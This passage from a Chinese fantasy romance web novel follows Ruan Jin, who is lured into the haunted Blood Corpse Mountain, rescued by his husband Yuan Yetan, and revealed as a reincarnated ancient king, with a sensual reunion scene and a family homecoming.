豆沙包却也只是挥了挥手,无奈道:“去您的吧!我知道,我天生就是孤独的命,都习惯啦!” 渊夜昙:…… 怎么还是个小怨夫? 他心中暗暗发誓,回来一定带自家包包好好去转转大渊的大好河山。 安抚好了豆沙包,渊夜昙便穿过那条密道,策马离开了大渊王宫。 此时的阮锦已经抵达了北境,算是原幽国与北越的交输之处,那是丛山连绵,看上去十分雄壮。 山脉连着山脉,像是天然的屏障,抵挡了北越大半的兵力。 唯一连接中原的雁北关,此时却仍然是幽国残部的区域,这让渊夜昙是十分没有安全感的。 阮子放看着眼前的雁北关道:“师爹,我们的最终目的就是拿下这雁北关!到时候,咱们大渊就可以高枕无忧了。” 此时的渊国吞下了整个幽国,虽然已经是整个中原最大的国家,可北有虎视眈眈的北越强邻,甚至还有雁北关这个天谴在敌人的手上,卧榻之侧有人酣睡,确实不是很有安全感。 阮锦点了点头,指着远处一座颜色可疑的山问道:“那座山怎么是红色的?” 阮子放怔了怔,有些感慨的说道:“那便是血尸山。” 阮锦也怔住了,心想原来那里就是血尸山,是渊夜昙噩梦开始的地方吧? 他在那里遭遇了什么? 不对,在去血尸山前,他就已经被幽崇简折磨的不成人样。 血尸山本是必死之局,他又是遇到了什么奇遇,才让他起死回生的? 阮锦有些好奇,他想去看看,但知道那地方异常凶险,也就打消了这个念头。 普通人进血尸山是必死无疑的,连渊夜昙都是九死一生。 阮锦问道:“这血尸山,是怎么形成的?” 阮子放答道:“说是上古时期的一场浩劫,几乎灭绝全人类的那种。战场上死去的将士,尸骨全都堆在了那里,后来就形成了血尸山。当然,这也只是传说。在后面的战争,基本上也是有尸骨都往血尸山里送,说是这样可以禁锢亡灵,让他们永远为幽国所用。” 阮锦冷笑一声道:“看这情况,应该是没啥卵用啊!” 阮子放哈哈哈的笑了几声,说道:“师爹,我们在这儿休整吗?还是直接进入北越?” 阮锦答:“先不忙,让人去给北越的王送个信。只是他们北越的部族太多了,也不知道现在当家的是哪个部。” 阮子放道:“是狼部,我们和狼部打过几次交道,个个都很能打,有两个八级傀儡师。不过他们打仗主要靠的是骑射,他们的骑射队确实厉害。” 阮锦知道,在历史上,草原部族们确实都是骑射天才。 哪怕是傀儡师,在这样上万的精骑兵面前也很吃力。 阮锦想了想,说道:“休整三天,去给狼部的王通知一声。看看他们的态度,如果有人来接,我们就跟着进草原。如果没有人来接……那就派人把泥炉给他们带过去,到时候就看他们有没有合作的诚意了。” 眼下北越是和幽国残部暧昧中,还真不知道他们到底是什么态度。 阮子放应了一声,便去让部下们在此处安营扎寨。 现在的北越边境已经入冬,天气有些阴沉沉的,似是要下雪。 好在阮锦准备的足够充分,这次他专门带了棉衣棉裤,还有贴身的羽绒内胆。 现在还不至于穿这么厚,一件羽绒内胆加一件夹棉的锦衣就可以,再冷就要上大棉袍二棉裤了。 在一片空地处扎了营,阮锦让众人点了蜂窝煤,营帐里瞬间暖和了起来。 刚点好暖炉,外面便飘起了雪花,雪花扬扬洒洒的落下来,很快便将地面全都覆盖住了。 阮锦穿越来来将近五年,豆沙包都三岁半了,回忆往事简直恍如隔世。 他掀开帐篷,四儿便贴心的给他系了个狐裘大氅。 一出帐篷,外面的寒气便迎面扑来,他也直观的感受到了北国的寒冷。 现在却还没到最冷的时候,只有零下十几度,北越这边最冷可是能达到零下三十度到四十度的。 阮锦吹了一口气,绵绵的白雾便从口中飘了出来,这对他来说还挺新鲜的,他是个南方人,穿越以来也多是在南部生活,即使出海,也是在赤道和南半球,很少在这么寒冷的地方活动。 四儿也一样,他有些遗憾的说道:“要是包包能来就好了,他最喜欢雪了。” 想到豆沙包,阮锦轻笑,他是真没想到,自己竟然会生下一个孩子。 这一场人生旅途,真的好奇妙。 就在阮锦想好好欣赏一下这北国风光时,远处一队人马浩浩荡荡的朝他这边跑了过来。 阮子放立刻戒备,刚拦到阮锦的身前,阮锦便认出了为首的几人里竟有他派去给狼部报信的手下。 阮锦道:“怎么这么快就回来了?这才半天的时间啊?” 那群人马很快便来到了他的面前,为首的男人手握马鞭朝阮锦行了个礼道:“请问是不是来自渊国的使臣?” 阮锦点了点头,应道:“是我,你是?” 那人应道:“我是狼王阿古拉的手下第一大将苏和,刚好碰上你去给狼王报信的使者。尊贵的客人,请随我进入草原吧!” 阮锦皱了皱眉,心想这么巧的吗? 那人拿出了一把镶嵌着宝石的短刀,说道:“使臣大人,这是我们狼王的信物,您应该认识。” 阮锦心想我他妈不认识,于是转头看向了阮子放。 阮子放上前接过那把短刀仔细的查看了一下,果然在上面看到了狼王的标志,他对阮锦点了点头:“的确是狼王的东西。” 阮锦应道:“那好吧!请苏和将军在前面带路。” 苏和一夹马腹,转身朝着雁北关的外部走去,阮锦也只能让阮子放吩咐他的部下把营帐拆了,先进了北越再说。 不得不说,北越的草原是真的大,入眼皆是一片枯黄,此时的薄雪已经快要将草地覆盖住。 前面的苏和放慢了脚步,转头对阮锦说道:“狼王阿古拉正在阴山狩猎,我带您去那边吧!” 阮锦知道,草原部族有打猎的习惯,尤其是在冬天,他们要储备很多越冬的食物。 他没有多想,便跟着苏和朝阴山的方向走去。 直到进了山,阮锦才察觉出了不对劲,他们越往前走,越是嗅到一阵阵阴湿的寒意,那不是寒风夹杂着雪花的寒意,而是仿佛来自地狱一般,冷入骨髓的寒意。 阮锦勒住缰绳,满是狐疑的看向苏和,问道:“苏和将军,我们这是去哪儿?” 阮子放的眼中也透着警惕,他也跟着上前:“这里要出北越边境了,苏和将军,你当真是要带我们去见阿古拉吗?” 第137章 苏和扬起脖子笑了笑,答道:“当然是去见阿古拉了!只不过,你们要见的是死了的阿古拉!” 阮锦和阮子放同时皱起了眉,阮锦问道:“什么?你们把阿古拉杀了?你们是反叛军?” 苏和却笑的一脸讥讽:“什么反叛不反叛的,我们只是觉得狼部过于窝囊了些!这个时候,竟然还想和大渊议和!呵呵,这么好的机会,不把大渊杀个片甲不留,还等什么?” 阮锦轻笑,说道:“哦?你们觉得你们能打入大渊?” 开什么玩笑,大渊现在正是兵强马壮的时候,虽然有些疲软,而且国库里没什么钱,但是阮锦有钱啊! 只要阮锦拿出他的财帛库,别说是北越,连南越都能一举拿下。 甚至可以试探一下欧洲那边的城邦,也不是不能打一打。 毕竟像渊夜昙这样的霸主,可是举世罕见的。 阮子放此时却满眼的警惕,一把长枪指向苏和,厉声问道:“你们到底想干什么?快带我们出去,否则小爷可就对你们不客气了!” 苏和狂笑一声:“不客气?怕是你们不知道这里是什么地方!别管你是渊朝名将,还是幽国名臣,来到这血尸山,基本上就是有去无回的!” 众人一听到血尸山这个词,所有人的眉心都皱了起来。 这可是血尸山,大名鼎鼎的血尸山! 阮锦心想还真是想什么来什么,刚刚他还在想,要不要去一趟血尸山,这不就有人带他们来了。 其实他觉得,血尸山的传闻可能过于夸大了。 埋过再多死人的地方,也只是一座山而已,除了多些毒瘴之气外,应该没有什么特别的地方才是。 阮子放却不管什么血尸山不血尸山,他二话不说,扬起长枪便朝着苏和攻了过去。 只听锵然一声,苏和伸出长刀来挡下了阮子放的长枪,他知道阮子放是大渊非常厉害的傀儡师,可能有八阶后期,所以也不恋战,一击过后便转身策马朝远处奔去。 阮子放的反应却非常快,他当即捏起颈间的竹哨,竹哨吹响间,四面八方的野兽便朝着苏和的方向奔袭而来。 苏和和他的部下们脸色巨变,大呼一声:“不好!是御兽傀儡师!” 阮子放冷哼一声,骂道:“杂碎,小爷是双修!” 阮锦忍不住在一旁为他鼓掌:“厉害!厉害!小放现在竟然这么厉害了,真是佩服哇佩服!” 阮子放的眉心却有些冷凝,说道:“师爹,血尸山很凶险,我能听得出来,这里有不干净的东西。” 阮锦刚要问什么不干净的东西,便见周围浮起一层层的白雾,直接淹没了来时的路。 难怪苏和这么着急的离开,看来正是要把他们引来这毒瘴之处。 阮锦赶紧从自己的怀里掏出口罩,分发给了所有人一人一只,并吩咐道:“有瘴气来了!大家赶快戴上口罩!” 瘴气其实是山林湿地中动植物腐败分解产生的有毒气体混合物,包含硫化氢、甲烷等化学成分。 戴口罩,可以有效的避免吸入这些气体。 只是不知道这些气体的浓度如何,会不会对他们造成影响。 众人快速的戴上了口罩,阮锦又从怀里摸出了指南针,他清楚的记得他们是从北边进来的,只要顺着路往北走,就一定可以走出去。 接着他便看到,指南针的那根针仿佛嗑嗨了一般,在镜片里面来回的乱摆。 阮锦:…… 操,这边有磁场在干扰指南针,看来这血尸山还真有点邪门儿。 接着,他便看到周围的几名士兵脸上出现了一些异样的神彩。 有的脸上露出惊恐之色,有的仿佛沉浸在了温柔乡里,有的则干脆躺到地方搂住了地上的石头,嘴里喊着:“老婆,我回来了!” 阮锦:…… 好家伙,看来是瘴气让他们产生了幻觉。 阮锦头疼的又摸出一个药瓶,交给身旁的阮子放道:“给他们一人吃一颗,口罩给他们戴好,戴个口罩都能戴反,真是服了!” 阮锦的口罩是用纯棉的棉布做的,里面有泡过中药的纱布,可以有效的抵挡一些颗粒较小的毒气。 事实证明,对瘴气也是有效果的。 给那几人吃过药,他们明显好了很多,阮锦便试探着带着他们往高处爬,如他所料,毒气都在低处,往高处走,反倒是没有毒气了。 看着眼前豁然开朗的半山腰,众人松一口气的同时,又有人惊叫着指着一块石头道:“老……老大,咱们上了血尸山!” 阮子放皱眉看向那块界碑,阮锦也看了过去,果然是血尸山。 阮锦轻笑,说道:“不要自己吓自己,我倒是觉得这血尸山风景还是挺好的。” 这座山的植被比普通山里的更加茂盛,可能是因为尸骨在这里腐烂,刚好滋养了这山里的生态。 阮锦对阮子放道:“小放,你带几个人在周围看看,这里有没有平缓一点的地方可以扎营。现在是下不去了,估计要等到明天天亮,太阳出来以后,这些瘴气自然会散去。” 阮子放应了一声,便带了几个随从去探路了。 阮锦则好奇的打量着这周围,总觉得这地方有些眼熟,不知道从哪里见过。 他自嘲的笑了笑,心想血尸山这么凶险的地方,自己怎么会见过呢? 他低喃道:“大概是在梦里吧?” 旁边的四儿一身狼狈,他疑惑的问阮锦:“少爷?什么梦里?” 阮锦摆手:“没什么,咱们坐下休息一会儿吧!” 说着他转身,走向了一块平坦的石头,四儿则在一旁碎碎念着:“这北越真是不讲武德,要我说,咱们就不该和他们议和!不如让王上挥兵北上,直接把他们杀一个片甲不留……” 四儿的声音渐行渐远,阮锦的耳朵里渐渐传来一阵阵嗡鸣声。 他皱起了眉,心想该不会是刚刚也吸入瘴气了? 刚要从怀里掏药瓶,下一秒,阮锦便失去了知觉。 再次醒来时,阮锦竟然置身于一个山洞里,那山洞里倒是没有什么让人讨厌的味道,反倒是有一股难以名状的香气。 阮锦缓缓睁开眼睛,耳边传不叭哒叭哒的水声,发现自己正躺在一个类似王座的地方。 王座看上去非常破旧了,虽然破旧,却是雕金绘银,依稀可以看得出当年的奢华。 阮锦坐起身,打量着这个山洞,发现这里似乎有人生活过的痕迹。 他试探着问道:“有人在这里吗?” 没有人搭话。 山洞里有天光,借着天光,阮锦开始打量山洞里的情形。 洞壁上有许多苔藓,苔藓之下绘着栩栩如生的壁画,那壁画似乎是讲述着一个故事。 阮锦仔细的阅览着壁画上的故事,他喃声道:“上古俨国……俨灵王对战魔神儆伏……” 这应该就是阮子放说过的那两个上古神打仗的故事? 还真有这个故事? 很显然,他醒来的那个地方,就是上古俨国灵王的王座。 从壁画上可以看出,那场战役十分惨烈,阮锦第一次意识到什么叫血流标杵。 百姓们跪在地上向上天祈求,希望俨灵王可以胜利,这样百姓就不用再遭受苦难了。 但这场战役却持续了数月,最后俨灵王以焚尽自身躯体为代价,将所有魔伏军困死在了血尸山。 壁画的最后,俨灵王变成了血尸山的山壁,永远镇压着那些魔伏军。 而俨灵王的灵魂,也永远被困在了这里。 阮锦忽然觉得有些悲伤,他心想,俨灵王一定也很难过吧? 他个人是一个十分向往和爱好自由的人,如果让他一直守在这里,那肯定比死了还难受。 可他如果是俨灵王,可能也会这么选吧? 毕竟他一个人的自由,可以换取万千生灵平安和乐,其实是值得的。 好吧!阮锦觉得其实自己也是个圣母。 但是……他突然意识到,现在不是想这些的时候,因为他好像……困在这个洞里了。 抬头望去,这个洞至少有两三百米深,凭人力是无法爬上去的。 除非是像阿蛮这样的顶级傀儡师,否则他也得像那个俨灵王一样,永远把自己困死在血尸山。 想到这里,阮锦悲从中来,心想如果自己死在了这里,会不会回到二十一世纪? 刚来的时候他的确这么想过,可现在他却并不盼着回去了。 在这里,他拥有了自己的朋友,拥有了动人心魄的爱情,拥有了最最可爱的孩子。 想到阿蛮和包包,阮锦的脸上露出了幸福的笑容,他心想,如果自己现在死了,最遗憾的应该就是没能等到阿蛮想起来自己和他的曾经,也没办法看着包包长大了。 就在阮锦沉浸在悲伤里的时候,黑暗的角落里突然传来一阵碎石崩裂的声音,阮锦猛然站起身,便看到一个英雄伟岸的身影逆着光走到了他的面前,竟是渊夜昙。 阮锦揉了揉自己的眼睛,皱眉道:“不是……我这是困在洞里出现幻觉了?还是……瘴气吸多了?这幻觉……是不是也太真了点?” 渊夜昙一脸焦急的扑到他身边,双手握住他的手臂,上上下下打量着他道:“阿锦,你没事吧?你受伤了没有?让我看看你……” 说着他便开始在阮锦的身上检查,直到确认他没有受伤,才终于松了一口气。 阮锦这才反应过来,低声道:“啊?这竟然不是幻觉?阿蛮……真的是你?” 渊夜昙满是怨气的凉凉看了他一眼,答道:“我不是你的阿蛮,我是你的外室小昙。” 第138章 阮锦扑哧一声笑了出来,心想你的怨气快要把这山壁冲开了。 但他还是看进了渊夜昙的怀里,摸着他的胸肌说道:“还是你的怀里更有安全感。” 渊夜昙虽然有怨气,但还是忍不住抱住了他,心有余悸的说道:“你吓死我了。” 阮锦也用力的搂着他的腰,声音软软的说:“我也以为再也见不到你了,没想到你竟然能进来。对了,你是怎么进来的?” 渊夜昙抱了他一会儿,才拉着他来到了他刚刚出来的角落,指着那个深不见底的洞说道:“你忘了,我从前是来过血尸山的。这里面,才是血尸山真正的尸山血海。” 看着那黑漆漆的大洞,阮锦皱了皱眉,问道:“你……又重新走了一遍?” 只有阮锦知道,渊夜昙对血尸山的心理阴影有多大,他竟然为了找自己,又把那恐惧的场景走了一遍。 渊夜昙牵着他的手安抚道:“别担心,这里在我上次来的时候就清理干净了。正是因为我把这里面的东西清理干净了,那个人才和我做了一个交易。” 阮锦终于想起来问了:“你一直说交易,到底是什么样的交易?那个人又是谁?” 渊夜昙想了想,表情陷入了回忆里,在黑暗逼仄的甬道里,四面八朝朝他涌来无数的血色死尸,它们散发着恶臭,长着蛆虫,仿佛来自地狱的恶鬼一般。 当时渊夜昙只有十几岁,面对着这样一群恐怖的尸煞,怎么可能不留下心理阴影。 他一路利用自己超于常人的傀儡术,把这些血尸煞清理了个干干净净。 可这些血尸却仿佛杀不完一般,源源不断的从血尸山的缝隙里涌出来,挡住他的去路,试图带他一起下地狱。 渊夜昙不记得自己杀了多久,只记得自己已经精疲力竭,却还是有源源不断的血尸朝他这边跑来,可他已经无能为力,眼睁睁的看着那些血尸吞没了自己。 后面的意识是模糊的,但他却是有意识的,因为他记得,在自己被那些血尸啃咬得只剩白骨,痛彻心扉,痛入骨髓的时候,有一个声音在他耳边响起。 “把你的灵魂和肉体交易给我,我能助你脱困,但是你必须要答应我三个条件。” 渊夜昙问:“什么……条件?” 那人说:“第一,你要一统中原,不再让百姓遭受战乱!第二,你要恪尽职守,洁身自好,在二十五岁前不要和任何人交媾。第三,……” 第三是什么? 他记不清了,真的记不清了。 就连第二点,也是他来到这里后才想起来的。 他只记得自己在听完他所说的那几个条件后便晕了过去,醒来的时候仿佛经历了骨肉在绞肉机里绞动了千遍万遍一般。 但他确实拥有了一具更为完美的身体,比之原本被血尸啃掉的肉身更加结实,强壮,……好看。 他不明白,那人把自己的肉身造的那么好看有什么用。 阮锦却再次被山壁上的壁画吸去了目光,那壁画上画着一个破开的山壁,应该就是头顶那个洞,俨灵王的灵魂就这么飞了出去。 阮锦微怔,心想俨灵王飞走了,那血尸山岂不是就没有人镇压了? 不对,那些血尸似乎都对阿蛮给杀了。 阮锦问道:“阿蛮,你上来的时候,这里面已经完全没有血尸了吗?” 渊夜昙摇了摇头:“没有了,应该是都被我……不对,我当时并没有完全将血尸清理掉。可能,是后来那个人清理掉的。” 阮锦指着壁画道:“如果我没领会错,你说的那个人应该就是古俨国的俨灵王,据说是这个世界上最厉害的傀儡师。壁画上说,他觉得傀儡师拯救不了众生,所以他一直在想如何拯救众生的方法……” 渊夜昙转头看向阮锦,问道:“阿锦,你觉得如何才能拯救众生?” 阮锦想了想,答道:“民以食为天,首先就是吃。接着是衣、住、行,解决了这四样,就会减少大半的争端。因为人类活着,就是要满足最基本的生存问题。当然了,人的欲望是无解的,有句话叫欲壑难填。所以,相应的武力震慑也是必要的。所以,单单有最强的傀儡师还不够。还需要一个能把好的资源平均分配的政策,更需要一个可以创造资源的环境。” 渊夜昙听完阮锦的话,陷入了半天的沉默,片刻后才开口道:“阿锦,你有没有觉得,你是上天带到我身边辅佐我的?” 阮锦歪了歪头,渊夜昙却又否定了自己的想法:“不,我觉得,是上天派我来辅佐你的。” 这个世界上可以有另一个渊夜昙,另一个高阶傀儡师,武力值爆表的强人,却很难再出现一个三年就把自己干到富可敌国的商人。 而且他还不是一个普通的商人,是随手一挥,就能带给百姓无数增产的粮食,无数取暖的能源,无数御寒衣物的神人。 渊夜昙看着阮锦的眼睛,突然歪了歪头,开口道:“阿锦,我……我好像想起来了。” 阮锦的眼睛亮了亮,上前拉着他的手问道:“想起来了?你是不是想起来我和阿蛮的一切了?” 渊夜昙却摇了摇头,说道:“我想到了那个人给我的第三个条件了,他说……他说……” 阮锦皱眉,追问道:“你吞吞吐吐的干什么?他到底说了什么?” 渊夜昙不知道自己该不该说,但是他觉得在一起的恋侣就要坦诚,便十分坦白的说道:“他……他说二十五岁那年,他会把我收走。” 阮锦:???? 他一脑袋的问号,心想怎么把他收走? 难不成是把他小命拿走? 不能够啊,这都二十九了,怎么还没收走? 等等,阮锦一脸惊悚的看向渊夜昙,问道:“我和你成婚的时候,是不是二十五岁?” 渊夜昙嘴巴微张,眉心微蹙,最后缓缓点了点头:“确实是二十五岁。” 阮锦理了理思绪,又理了理思绪,最后再理了理思绪,扯着渊夜昙的手小声说道:“我有一个很离谱的想法,不知当讲不当讲。” 渊夜昙道:“当,你想怎么讲就怎么讲。” 阮锦嘶了一声,指着那壁画上的俨灵王道:“你说,我有没有可能就是这个俨灵王的化身?你二十五岁的约定,刚好让我碰上了,而且还是我……” 还是我刚刚穿越回来,一把就把你捞进了家,这都不能算是巧合,这必须得是命中注定。 渊夜昙也怔了怔,他半天后也道:“你这么说,倒是有可能。因为那个人当年还说过……” 见渊夜昙又陷入了沉思,思量了半天后才道:“说……让我二十五岁之前不许和任何人……交媾。” 阮锦:?????? 不是,这么离谱的要求你也能答应? 阮锦问道:“你没问他为什么会提出这样的条件?” 渊夜昙摇了摇头:“当时我已经陷入半昏迷状态,但他说能让我活,我只想去报仇,想都没想就答应了。” 阮锦朝他竖了个大拇指,但再一想,提出条件的那个人极有可能是自己,瞬间他又释怀了。 他捏着下巴分析道:“所以,可能是你误入了血尸山秘道,帮他杀掉了所有他镇压着的血尸煞。但是最后,你也被血尸煞反噬,死了个一干二净。他觉得你能力出众,是个可以加以利用的好苗子。所以就传给了你一套上古俨国的奇功,并将你复活,又让你帮他完成那三个条件?” 渊夜昙说道:“有可能是这样,而且我也觉得,他十有八九就是你。” “哦?”阮锦挑了挑眉:“为什么这么说?” 渊夜昙的表情又陷入了沉思:“我记得……他当年好像亲过我一口,说让我一定记得履行约定。” 阮锦佯装生气道:“哦哦哦,原来如此啊!看来我也不是你的第一个了,初吻给了别人啊!” 渊夜昙有些无措,拉着他的手道:“不是的,那个时候我没有任何知觉,是被迫的。但我和你是自愿的,我喜欢你。” 突然的告白,让阮锦有些小惊喜,他拉过渊夜昙的手,抬脚在他唇上亲了一口,说道:“反正你现在是我的,俨灵王也抢不走。” 渊夜昙重重的点头:“嗯嗯。” 阮锦指着不远处有人生活过的痕迹问道:“这是你当年留下来的吗?你在这里烤过东西吃?” 渊夜昙点头:“是一只误入这里的兔子,我刚好饿了,就抓过来烤了吃掉了。” 阮锦轻笑,心想倒霉兔子。 渊夜昙指着上面的洞口道:“我带你出去?虽然这里已经没有任何危险了,但我们再不出去,阮子放和四儿可能就着急了。” 阮锦从怀里抽出一个烟花,点燃后朝洞口燃放了出去,说道:“不用担心,他们看到烟花,就知道我还活着了。” 渊夜昙点头,问道:“不……走吗?” 阮锦指了指那处的王座,说道:“这么好的地理条件,那么着急走干什么?那边有个很大的王座,可以当床使的。” 渊夜昙的脸颊瞬间便透上了淡淡红色,问道:“阿锦,你……你是想在这里打卡吗?” 有了上次的打卡事件,渊夜昙也学会了,每次想做一下的时候,都会问要不要打个卡。 阮锦抬手捧着渊夜昙的脸颊,低声在他耳边道:“知我者,小昙也。” 渊夜昙也瞬间明白了身为外室的意义,原来外室,就是每次打卡都要在室外啊! 但,又如何呢? 他打横将阮锦抱了起来,飞身跳到了王座之上,将他轻轻放到了一张古早的兽皮上。 第139章 兽皮虽破旧,却并没有什么脏污,仿佛它只是经历了岁月的洗礼,却没有被岁月搓磨。 阮锦搂着渊夜昙,问道:“小昙,如果我真是俨灵王,你会怎么想?” 渊夜昙却并没有直接回答,反倒是问了一句:“如果我永远想不起和你的过往,永远不再是阿蛮,你会怎么想?” 阮锦扑哧一声笑了出来:“我还能怎么想?如果想不起来了,那就只能努力制造属于我们两个的未来了。虽然有遗憾,但……如果不在一起,才是最大的遗憾吧!” 渊夜昙垂眸亲了亲他的唇,也回答了他刚刚的问题:“我也一样的阿锦,不论你是谁,永远都不会改变你在我心目中的位置。你是俨灵王也好,你是阮锦也好,还是你是什么别的人也好。只要是你,是你,我就甘心永远做你的外室。” 要命了,阮锦的心里一阵一阵的柔软,心想你在外面那副冷面孔其实都是装出来的吧? 这么会说情话,平常怎么不多说点? 阮锦搂住渊夜昙的脖子,似是清风与明月都为他们驻足了。 抬头望去,裂口的穹顶处,竟有簌簌落叶飘下。 阮锦抬手接住一片落叶,随手放在了王座上,而后捧住渊夜昙的脸颊,轻声对他说道:“咬我好吗?” 渊夜昙的耳尖微红,低低的嗯了一声,将他的腿缓缓抬起,托住他的屁股,咬住了他的手指。 阮锦用力抓住了身下的兽皮,脖子向后仰去,露出他完美的下颌线与颈线。 他高高的扬起下巴,看着头顶的天空,此时天色已暗,星斗漫天,还有雪花往下飘落着。 奇怪的,洞中并不冷,还有些微暖意,洞里还生了许多不知名的花草。 阿蛮轻轻的啃咬着阮锦的虎口,让阮锦忍不住轻哼一声,他的唇角高高的扬起,十分愉悦的享受着阿蛮带给他的快乐。 为什么这么喜欢阿蛮? 他觉得,俨灵王这个人真是贼的很,关了自己上千年,给自己找了一桩如此美满的姻缘。 不过这也算是他应得的,他为万千生灵献祭了自己,只是要求有个可以永远陪着自己的伴侣而已,相较于他的付出,这点需求并不算什么。 想到这里,阮锦愉快的喊出了渊夜昙的名字:“小昙,我好喜欢你。” 正在对阮锦缠绵悱恻的渊夜昙怔住,抬起头来,眼睛水汪汪的看着仿佛魅魔一般的阮锦。 于是,他再也忍不住,用力将他搂在怀里,狠狠的缩短了两人之间的距离。 渊夜昙滚烫的掌心托住阮锦后腰时,一片雪花正落在他颤动的睫毛上,瞬间便融化掉,在那纤长漂亮的睫毛上留下一滴漂亮的水珠。 身下这张承载过古俨国祭祀的兽皮,此刻正被他的另一重身份——渊国商人的手指攥出深痕。 千年的时空在交错的喘息里坍缩成光点,当阮锦咬住渊夜昙喉结的瞬间,洞顶的星图壁画骤然亮起诡谲蓝光。 阮锦在换气的间隙轻笑,指尖划过渊夜昙绷紧的背肌:“小昙……你心跳得好吵……” 洞内,蓝光流转,映照着两人交织的身影,如梦似幻。 阮锦的双腿缓缓缠上渊夜昙的腰肢,如同藤蔓般紧密。 感受到渊夜昙滚烫的呼吸拂过耳侧,激起一阵酥麻,那一声声急促的心跳,仿佛鼓点般敲击着他的灵魂,让他感到一种前所未有的满足与沉沦。 “吵吗?” 渊夜昙低哑的声音带着一丝情欲的沙哑,他轻咬着阮锦的耳垂,每一次触碰都像电流般穿透阮锦的身体。 “每一下……都是为你跳的。” 阮锦轻笑着,指尖沿着渊夜昙的脊柱一路向下,感受到他身体深处传来的颤栗。 他能清晰地感觉到渊夜昙的欲望,如同被点燃的火焰,炽热而强烈,他仰头,将唇凑到渊夜昙的耳边,轻声呢喃:“是不是很想我?” 渊夜昙没有回答,只是更深地吻住阮锦,这个吻带着十足的侵略性,却又充满了温柔与爱意,仿佛要将阮锦融化到自己的骨血之中。 阮锦回应着他,双手勾住渊夜昙的脖颈,身体主动地贴近,他们的呼吸交织在一起,融化了洞穴中的寒意,只留下缠绵的热度。 壁画上的星图的蓝光忽明忽暗,将两人的影子拉长,又缩短,如同古老的预言在洞壁上跳跃。 阮锦闭上眼睛,感受着这份极致的欢愉。 他曾以为,千年禁锢是痛苦的,但此刻,他才明白,那只是为了这一刻的相遇与融合做铺垫。 他也清楚的明白了,自己的的确确是俨灵王,所以他才会穿越,确切来说应该是穿回来。 他只是去了一个更为文明的维度进修,带着先进的技术与理念,重新回到了这片他热爱着的土地。 他时而唤着阿蛮,时而唤着小昙,这两个专属于他们的名字。 渊夜昙仔细的听着,动作变得更加疯狂而温柔,他将阮锦抱得更紧,仿佛要将他揉进骨子里。 他深知,阮锦对他的爱与信任,是他生命中最宝贵的东西。 下一秒,阮锦感到灵魂深处涌起一阵宇宙洪荒般的交战,他弓起腰,指尖死死陷进兽皮中。 兽皮被他的手指攥得更深,承载着这份千年轮回的爱恋,汗珠从阮锦的额头滑落,滴在渊夜昙的肩头,又迅速被体温蒸发。 “小昙……”阮锦轻喘着,声音带着一丝颤抖的渴望:“我……我好爱你……” 渊夜昙的动作停滞了一瞬,他抬起头,深邃的眼眸饱含着浓烈的情感。 他轻抚阮锦泛红的脸颊,用额头抵住他的额头,低声回应:“我也是,阿锦。此生此世,永不分离。” 星图的光芒在达到顶峰后,开始缓缓消退,但洞穴中缠绵的爱意却丝毫未减。 阮锦伸出双臂,搂紧渊夜昙的脖颈,将自己完全依偎在他的怀里。他感到前所未有的放松与幸福。 在这古老的洞穴中,千年轮回的爱意交织缠绵,他们成了彼此唯一的归宿。 在两人无知无觉间,一段记忆,就这么悄然回到了渊夜昙的脑中。 第二日醒来,阮锦被渊夜昙紧紧的裹在自己厚重的大氅中,不知道什么时候,头顶的洞壁竟然彻底坍塌了。 石头砸在他们不远处的地上,他们却一点知觉都没有。 渊夜昙早就醒了,他紧紧的搂着阮锦,阻挡头顶灌进来的寒风。 阮锦懒洋洋的打了个哈欠,把腿压在了渊夜昙的腿上,问道:“怎么回事?天亮了?” 渊夜昙低低的嗯了一声,说道:“天亮了,还要再睡一会儿吗?” 阮锦嗯嗯两声:“要,我要一直待在你怀里。” 渊夜昙应了一声,喊道:“好的,老婆。” 怀里的阮锦突然怔住,他猛然抬起头,眼睛一眨不眨的盯着渊夜昙,片刻后才问道:“你……刚刚叫我什么?” 渊夜昙笑了笑,又喊了一声:“老婆。” 阮锦猛然坐了起来,翻身骑到了渊夜昙的腰上,嗷嗷大叫两声道:“老公!老公?老公啊啊啊啊啊!!!你终于想起来了,终于想起来了!!!呜呜呜,我们的过去,终于不再是我一个人记得了!” 此时的渊夜昙也终于明白,为什么阮锦一直执着于让他恢复记忆了,因为他们的过去真的非常非常非常美好,美好的让人热泪盈眶。 虽然,那并不是他们全部的过去。 还有初次见面,那人赤着脚,脚上戴着一条漂亮的红蓝宝石足链。 足链上银铃轻晃,睁着一双漂亮的大眼睛好奇的看着他,第一句话对他说的是:“你生的很好看,你叫什么名字?” 那是他记忆里的俨灵王,也是他最爱的阿锦。 阮锦开心的仿佛一个小孩子,趴在他身上不肯下来,渊夜昙也任凭他笑着闹着,最后才喊道:“老婆,我们出去吧!雪好像越下越大了,我怕你会着凉。” 阮锦嗯嗯两声,开心的去穿衣服,开心的从王座上跳下来,蹦蹦跳跳的像只小雀儿。 这时的渊夜昙才注意到,俨灵王在以身禁锢魔伏一族的时候,也才只有十八岁,还是个没长大的少年人啊! 如今看着他这么开心,渊夜昙的眼中也满是笑意。 希望自己有生之年,可以一直守护他的快乐。 两人穿好衣服,出了山洞,刚走了没多远,就看到四儿和阮子放正带着一行人朝他们赶了过来。 见渊夜昙出现在阮锦身边,众人赶紧朝他们行礼。 渊夜昙却摆了摆手:“出门在外,不必多礼。典客大人已经找回来了,但草原部族已乱,暂时没必要再去那边。如此,我们便先回渊都吧!” 草原十几个部族,为了争夺王位乱作一团,短时间内不用担心他们会对大渊有任何威胁。 只是幽国残余力量仍不死心,渊夜昙这次打算一举将所有幽国残部全部歼灭。 于是,众人便在北境扎营月余,月余后已是除夕,众人才重新回到了渊都。 截止目前,我们可怜的豆沙包小朋友又有两个月没见自家两个爹爹了。 一听说两个爹爹要回来,小家伙一大早便闹着姑姑陪着他去城门口等着。 除此之外,小五义也聚齐了,都赶来了渊都。 对了,还有九大夫,他已经恢复了他的本名白玖玥,旁边还跟着一个人高马大的男人,仿佛舔狗一般又是给他举伞,又是给他递暖手炉,正是蒙铎蒙大将军。 远远的看到阮锦的车驾后,豆沙包当即迈起两条小短腿就朝那边狂奔而去,一边跑一边喊:“爹爹,阿爹,你们终于回来啦!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第140章 (正文完) 渊夜昙看到迈着小短腿往这边跑的豆沙包,赶紧从马背上飞扑过去,把他抱起来后又翻身飞到了马车上。 阮锦一把将豆沙包接过来,在他脸颊上啵唧啵唧亲了十几口,才终于揍着豆沙包的脸颊说道:“我的乖儿子!爹爹想死你啦!” 